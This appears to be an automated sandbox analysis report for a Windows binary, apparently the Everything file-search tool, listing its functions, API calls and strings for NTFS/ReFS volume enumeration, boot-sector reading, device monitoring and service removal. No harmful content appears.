HeapAlloc.KERNEL32(?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573,?,?,00000000,00007FF63D61A23D), ref: 00007FF63D619761

Part of subcall function 00007FF63D61AA00: GetModuleHandleA.KERNEL32(?,?,00000028,00007FF63D619755,?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573), ref: 00007FF63D61AA0F
Part of subcall function 00007FF63D61AA00: GetProcAddress.KERNEL32(?,?,00000028,00007FF63D619755,?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573), ref: 00007FF63D61AA24
Part of subcall function 00007FF63D61AA00: ExitProcess.KERNEL32 ref: 00007FF63D61AA35

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AddressAllocExitHandleHeapModuleProcProcess
String ID:
API String ID: 2897468418-0
Opcode ID: 708c87c6aff96df7934445dc42ed7ea4468f22522d774f5efdf9c5970b67f917
Instruction ID: ebf2a8eb6ed1471cf4b2b733082aae6c3b1413a79ca3e87318bf3832f822be62
Opcode Fuzzy Hash: 708c87c6aff96df7934445dc42ed7ea4468f22522d774f5efdf9c5970b67f917
Instruction Fuzzy Hash: 3111C261E1D26F81FA156FE198402792290AF87BA0F081235ED3EC73C6FE2CE481B710

Function 00007FF63D61AF10 Relevance: 1.3, APIs: 1, Instructions: 31
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63D619700: HeapAlloc.KERNEL32(?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573,?,?,00000000,00007FF63D61A23D), ref: 00007FF63D619761

Sleep.KERNEL32(?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573,?,?,00000000,00007FF63D61A23D,?,00000000,00000000,00007FF63D61A308), ref: 00007FF63D61AF4A

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AllocHeapSleep
String ID:
API String ID: 2660413188-0
Opcode ID: 40f0287c1d2e351c3d6dafe122cdd267842c2f4bf9d12561c2d97e67898f8213
Instruction ID: acf8248181cf52e848d2a8689eb8f8cbf652f6e4175a30a97690b4f1b177b7bd
Opcode Fuzzy Hash: 40f0287c1d2e351c3d6dafe122cdd267842c2f4bf9d12561c2d97e67898f8213
Instruction Fuzzy Hash: 82F0C832E19B9D86E6409F51A54003D7350FB85B90F140135EA7E83755EF3CE892E700

Non-executed Functions

Function 00007FF63D542840 Relevance: 86.4, APIs: 19, Strings: 30, Instructions: 663COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetErrorMode.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D5428A3
SetErrorMode.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D5428B2
GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542950
FindFirstVolumeW.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542A9D
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542B49
GetLastError.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542B56
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542BA7
FindNextVolumeW.KERNEL32(?,?,?,?,?,00007FF63D49622D,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D542E8B

Strings

add volume: %s | %s | %s, xrefs: 00007FF63D542A23
:, xrefs: 00007FF63D542F03
:, xrefs: 00007FF63D543181
GetVolumePathNamesForVolumeName %s, xrefs: 00007FF63D542BE8
\, xrefs: 00007FF63D54316D
GetVolumePathNamesForVolumeName2 %d, xrefs: 00007FF63D542C47
volume %s: drive type %d, xrefs: 00007FF63D542B13
\??\, xrefs: 00007FF63D542F0D
ntfs volume create list %f seconds, xrefs: 00007FF63D543408
VEH %d, xrefs: 00007FF63D542AA3
\, xrefs: 00007FF63D542C92
:, xrefs: 00007FF63D5430B4
\Device\HarddiskVolume, xrefs: 00007FF63D54306E
%S GetVolumeNameForVolumeMountPoint FAILED %d, xrefs: 00007FF63D543141
GetVolumePathNamesForVolumeName %d, xrefs: 00007FF63D542B5C
GetVolumeNameForVolumeMountPoint ok %s %s, xrefs: 00007FF63D542CED
\, xrefs: 00007FF63D543177
\, xrefs: 00007FF63D5430BE
:, xrefs: 00007FF63D542C88
config volume: %s | %s | %s | %d, xrefs: 00007FF63D5428F5
\, xrefs: 00007FF63D542D6F
\, xrefs: 00007FF63D543168
%S is ntfs, xrefs: 00007FF63D543118
:, xrefs: 00007FF63D543158
QueryDosDevice %d %S %S, xrefs: 00007FF63D542F8C
%S GetVolumeNameForVolumeMountPoint %S %d, xrefs: 00007FF63D543101
:, xrefs: 00007FF63D542D65
volume: %s | %s | %s found %d, xrefs: 00007FF63D5433B6
GetVolumeNameForVolumeMountPoint %S, xrefs: 00007FF63D542C79
., xrefs: 00007FF63D543172

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Volume$ErrorName$FindModeNamesPathPerformanceQuery$CounterFirstFrequencyLastMountNextPoint
String ID: %S GetVolumeNameForVolumeMountPoint %S %d$%S GetVolumeNameForVolumeMountPoint FAILED %d$%S is ntfs$.$:$:$:$:$:$:$GetVolumeNameForVolumeMountPoint %S$GetVolumeNameForVolumeMountPoint ok %s %s$GetVolumePathNamesForVolumeName %d$GetVolumePathNamesForVolumeName %s$GetVolumePathNamesForVolumeName2 %d$QueryDosDevice %d %S %S$VEH %d$\$\$\$\$\$\$\??\$\Device\HarddiskVolume$add volume: %s | %s | %s$config volume: %s | %s | %s | %d$ntfs volume create list %f seconds$volume %s: drive type %d$volume: %s | %s | %s found %d
API String ID: 3547686011-2923626951
Opcode ID: cde69163b5470e8f8bd99dd86a54a952a64c5a4669a06d5132019c5abcb7a803
Instruction ID: 81de49bd3cc3c082c130305fc9f65ae100dcc3199daa7e076f27db03a7d2cfe6
Opcode Fuzzy Hash: cde69163b5470e8f8bd99dd86a54a952a64c5a4669a06d5132019c5abcb7a803
Instruction Fuzzy Hash: DE62B122E0C69A91EB60DB91E4502FE6770FB95794F401036DE8D837A9EF3CD158EB41

Function 00007FF63D4C7920 Relevance: 37.2, APIs: 14, Strings: 7, Instructions: 466COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

OpenFileById.KERNEL32 ref: 00007FF63D4C7D5D
DeviceIoControl.KERNEL32 ref: 00007FF63D4C7D9E
CloseHandle.KERNEL32 ref: 00007FF63D4C7E60
CloseHandle.KERNEL32 ref: 00007FF63D4C7E69
GetLastError.KERNEL32 ref: 00007FF63D4C7E74
CloseHandle.KERNEL32 ref: 00007FF63D4C7E8B
OpenFileById.KERNEL32 ref: 00007FF63D4C7F05
DeviceIoControl.KERNEL32 ref: 00007FF63D4C7F6A
CloseHandle.KERNEL32 ref: 00007FF63D4C8035
CloseHandle.KERNEL32 ref: 00007FF63D4C803E

Part of subcall function 00007FF63D54F550: CreateFileW.KERNEL32 ref: 00007FF63D54F5D4
Part of subcall function 00007FF63D54F550: DeviceIoControl.KERNEL32 ref: 00007FF63D54F63D
Part of subcall function 00007FF63D54F550: GetLastError.KERNEL32 ref: 00007FF63D54F647
Part of subcall function 00007FF63D54F550: CloseHandle.KERNEL32 ref: 00007FF63D54F669

CloseHandle.KERNEL32 ref: 00007FF63D4C805A
CloseHandle.KERNEL32 ref: 00007FF63D4C8063
GetLastError.KERNEL32 ref: 00007FF63D4C806B
CloseHandle.KERNEL32 ref: 00007FF63D4C8082

Strings

REFS parent frn %016I64x%016I64x %t, xrefs: 00007FF63D4C8011
no refs FSCTL_READ_FILE_USN_DATA, xrefs: 00007FF63D4C8046
frn:, xrefs: 00007FF63D4C7951
NTFS parent frn %016I64x %t, xrefs: 00007FF63D4C7E3D
frn: invalid volume handle, xrefs: 00007FF63D4C7E96, 00007FF63D4C808A
NO file from frn %d, xrefs: 00007FF63D4C7E7A, 00007FF63D4C8071
got refs file handle from id, xrefs: 00007FF63D4C7F18

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CloseHandle$ControlDeviceErrorFileLast$HeapOpen$AllocCreateProcess
String ID: NO file from frn %d$NTFS parent frn %016I64x %t$REFS parent frn %016I64x%016I64x %t$frn:$frn: invalid volume handle$got refs file handle from id$no refs FSCTL_READ_FILE_USN_DATA
API String ID: 3289091923-2003309268
Opcode ID: ca60ff2aaa5c91e18eb38729863f293e3be595fc1853fa4cd912b29ccab39dfa
Instruction ID: f45403b56f9f0ec13f6b915d35f8e26f8c384144f3c4b57b74954d89bd062875
Opcode Fuzzy Hash: ca60ff2aaa5c91e18eb38729863f293e3be595fc1853fa4cd912b29ccab39dfa
Instruction Fuzzy Hash: F632CD72A08B8A86E764CF51E4807AE77A4FB88754F414135DBAD87786EF3CD464EB00

Function 00007FF63D53F850 Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 163fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D53F7E0: VirtualAlloc.KERNEL32 ref: 00007FF63D53F7FA
Part of subcall function 00007FF63D53F7E0: GetLastError.KERNEL32 ref: 00007FF63D53F805

Part of subcall function 00007FF63D54B610: SetFilePointer.KERNEL32 ref: 00007FF63D54B621

ReadFile.KERNEL32 ref: 00007FF63D53F8B3
GetLastError.KERNEL32 ref: 00007FF63D53FA4B
GetLastError.KERNEL32 ref: 00007FF63D53FA61

Strings

serial_number %I64u, xrefs: 00007FF63D53F9C2
invalid bytes_per_sector %u, xrefs: 00007FF63D53FA06
failed to alloc sector buf, xrefs: 00007FF63D53FA92
mft_lcn %I64u, xrefs: 00007FF63D53F9A7
bytes_per_cluster %d, xrefs: 00007FF63D53F953
invalid bytes_per_file_record %u, xrefs: 00007FF63D53F9F6
sectors_per_cluster %d, xrefs: 00007FF63D53F90E
NTFS , xrefs: 00007FF63D53F8D1
bad NTFS signature: %t, xrefs: 00007FF63D53FA26
failed to read NTFS boot sector: %u, xrefs: 00007FF63D53FA51
unable to read all of NTFS boot sector: %u, xrefs: 00007FF63D53FA3D
bad sector size %u, xrefs: 00007FF63D53FAA2
bytes_per_cluster %u, xrefs: 00007FF63D53F9D1
bytes_per_file_record %u, xrefs: 00007FF63D53F9E0
failed to set file pointer to boot sector %u, xrefs: 00007FF63D53FA67
invalid bytes_per_cluster %u, xrefs: 00007FF63D53FA16

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$File$AllocPointerReadVirtual
String ID: NTFS $bad NTFS signature: %t$bad sector size %u$bytes_per_cluster %d$bytes_per_cluster %u$bytes_per_file_record %u$failed to alloc sector buf$failed to read NTFS boot sector: %u$failed to set file pointer to boot sector %u$invalid bytes_per_cluster %u$invalid bytes_per_file_record %u$invalid bytes_per_sector %u$mft_lcn %I64u$sectors_per_cluster %d$serial_number %I64u$unable to read all of NTFS boot sector: %u
API String ID: 3306963534-3773426258
Opcode ID: 83f98285d95a08c6bcedf1c9a80f618aaa79a11f8a705edbeadedebb7da22fc4
Instruction ID: 04ea37c719cd10e0482ca9797c46bc48755e420725eaaeaa15c0a4e3d2df5e92
Opcode Fuzzy Hash: 83f98285d95a08c6bcedf1c9a80f618aaa79a11f8a705edbeadedebb7da22fc4
Instruction Fuzzy Hash: 3E61AD21E085AB96FB009BA1E94017973A2BB85764F404036EE5DC3BA9FF3CE559F340

Function 00007FF63D4C0E00 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 253registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D54F550: CreateFileW.KERNEL32 ref: 00007FF63D54F5D4
Part of subcall function 00007FF63D54F550: DeviceIoControl.KERNEL32 ref: 00007FF63D54F63D
Part of subcall function 00007FF63D54F550: GetLastError.KERNEL32 ref: 00007FF63D54F647
Part of subcall function 00007FF63D54F550: CloseHandle.KERNEL32 ref: 00007FF63D54F669

RegisterDeviceNotificationA.USER32 ref: 00007FF63D4C0F3D
GetLastError.KERNEL32 ref: 00007FF63D4C0F4B
CloseHandle.KERNEL32 ref: 00007FF63D4C0F73
GetLastError.KERNEL32 ref: 00007FF63D4C0F83
RegisterDeviceNotificationA.USER32 ref: 00007FF63D4C1136
GetLastError.KERNEL32 ref: 00007FF63D4C1147
GetLastError.KERNEL32 ref: 00007FF63D4C1176

Strings

access denied %s, xrefs: 00007FF63D4C0FFA, 00007FF63D4C11FB
start monitor thread: failed to open volume: %s: %d:, xrefs: 00007FF63D4C1022, 00007FF63D4C1223
RegisterDeviceNotification volume_handle %p, xrefs: 00007FF63D4C0ECA
8, xrefs: 00007FF63D4C1121
refs monitor %p %p, xrefs: 00007FF63D4C1271
start all monitors (ntfs: %d refs: %d), xrefs: 00007FF63D4C0E3A
refs service monitor %p %p %d, xrefs: 00007FF63D4C1251
ntfs service monitor %p %p %d, xrefs: 00007FF63D4C104D
ntfs monitor %p %p, xrefs: 00007FF63D4C106A
RegisterDeviceNotification %s failed! %d, xrefs: 00007FF63D4C0F58, 00007FF63D4C1154

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$Device$CloseHandleNotificationRegister$ControlCreateFile
String ID: 8$RegisterDeviceNotification %s failed! %d$RegisterDeviceNotification volume_handle %p$access denied %s$ntfs monitor %p %p$ntfs service monitor %p %p %d$refs monitor %p %p$refs service monitor %p %p %d$start all monitors (ntfs: %d refs: %d)$start monitor thread: failed to open volume: %s: %d:
API String ID: 3820180192-4260257721
Opcode ID: 91807dd3ab9d901178497b16a781845a7f2484ea14fe5e9e0d234902db1010f1
Instruction ID: b7c462ee0e6df05b69a946b304b685662b5756a7f26efdee1e98056440b431bc
Opcode Fuzzy Hash: 91807dd3ab9d901178497b16a781845a7f2484ea14fe5e9e0d234902db1010f1
Instruction Fuzzy Hash: 9DD19372A08B8A85E7509FA5E4403AA73B0FB45B98F044136EF5D87799EF3CD498E740

Function 00007FF63D61DDE0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF63D619F30: FlsGetValue.KERNEL32(?,?,?,00007FF63D61DDFE,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619F4A

LoadLibraryA.KERNEL32(?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429,?,?,00000000,00000000,00000001,00007FF63D61B57C), ref: 00007FF63D61DE22
GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429,?,?,00000000,00000000,00000001,00007FF63D61B57C), ref: 00007FF63D61DE3E

Part of subcall function 00007FF63D619E60: FlsGetValue.KERNEL32(00000000,?,00000000,00007FF63D61DE55,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619E80

GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429,?,?,00000000,00000000,00000001,00007FF63D61B57C), ref: 00007FF63D61DE66

Part of subcall function 00007FF63D619E60: GetModuleHandleA.KERNEL32(00000000,?,00000000,00007FF63D61DE55,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619E9B
Part of subcall function 00007FF63D619E60: GetModuleHandleA.KERNEL32 ref: 00007FF63D619EC2
Part of subcall function 00007FF63D619E60: GetProcAddress.KERNEL32 ref: 00007FF63D619F08

GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429,?,?,00000000,00000000,00000001,00007FF63D61B57C), ref: 00007FF63D61DE85
GetProcAddress.KERNEL32 ref: 00007FF63D61DED3
GetProcAddress.KERNEL32 ref: 00007FF63D61DEF7

Part of subcall function 00007FF63D61B0B0: RtlCaptureContext.KERNEL32 ref: 00007FF63D61B0C1
Part of subcall function 00007FF63D61B0B0: IsDebuggerPresent.KERNEL32 ref: 00007FF63D61B105
Part of subcall function 00007FF63D61B0B0: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF63D61B10F
Part of subcall function 00007FF63D61B0B0: UnhandledExceptionFilter.KERNEL32 ref: 00007FF63D61B11A
Part of subcall function 00007FF63D61B0B0: GetCurrentProcess.KERNEL32 ref: 00007FF63D61B130
Part of subcall function 00007FF63D61B0B0: TerminateProcess.KERNEL32 ref: 00007FF63D61B13E

Part of subcall function 00007FF63D61A020: FlsGetValue.KERNEL32(00000000,00000000,000002D8,00007FF63D61B615,?,?,000002D8,00007FF63D61DCB7,?,?,?,?,00000000,00007FF63D61AFBE), ref: 00007FF63D61A040

Part of subcall function 00007FF63D61A020: GetModuleHandleA.KERNEL32(00000000,00000000,000002D8,00007FF63D61B615,?,?,000002D8,00007FF63D61DCB7,?,?,?,?,00000000,00007FF63D61AFBE), ref: 00007FF63D61A05B
Part of subcall function 00007FF63D61A020: GetModuleHandleA.KERNEL32 ref: 00007FF63D61A082
Part of subcall function 00007FF63D61A020: GetProcAddress.KERNEL32 ref: 00007FF63D61A0C8

Strings

GetLastActivePopup, xrefs: 00007FF63D61DE74
GetUserObjectInformationA, xrefs: 00007FF63D61DEC9
GetProcessWindowStation, xrefs: 00007FF63D61DEED
USER32.DLL, xrefs: 00007FF63D61DE1B
GetActiveWindow, xrefs: 00007FF63D61DE55
MessageBoxA, xrefs: 00007FF63D61DE34

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AddressProc$HandleModule$Value$ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerLibraryLoadPresentTerminate
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3160505718-232180764
Opcode ID: aa183df221b22933b7e6911a09263dc3768e1f69ad96fc3cb2cc8f7ac847d694
Instruction ID: 762f58cf7020b535e245b86f2331a649cd06308ebf8be807ccb71d56d06a62a7
Opcode Fuzzy Hash: aa183df221b22933b7e6911a09263dc3768e1f69ad96fc3cb2cc8f7ac847d694
Instruction Fuzzy Hash: 55515B25E0977B45FAA4DBE1A8006B96295AF8BB84F484035DD3EC2792FF3CE545F600

Function 00007FF63D4756B0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 76serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF63D4756C0
OpenServiceW.ADVAPI32 ref: 00007FF63D4756E7
ControlService.ADVAPI32 ref: 00007FF63D475702
CloseServiceHandle.ADVAPI32 ref: 00007FF63D47570B
OpenServiceW.ADVAPI32 ref: 00007FF63D475721
DeleteService.ADVAPI32 ref: 00007FF63D475732
GetLastError.KERNEL32 ref: 00007FF63D47573C
CloseServiceHandle.ADVAPI32 ref: 00007FF63D475766
GetLastError.KERNEL32 ref: 00007FF63D475780
GetLastError.KERNEL32 ref: 00007FF63D47578D

Part of subcall function 00007FF63D545B60: MessageBoxW.USER32 ref: 00007FF63D545C14

GetLastError.KERNEL32 ref: 00007FF63D4757C8

Strings

Everything Client, xrefs: 00007FF63D4756D2, 00007FF63D475711

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
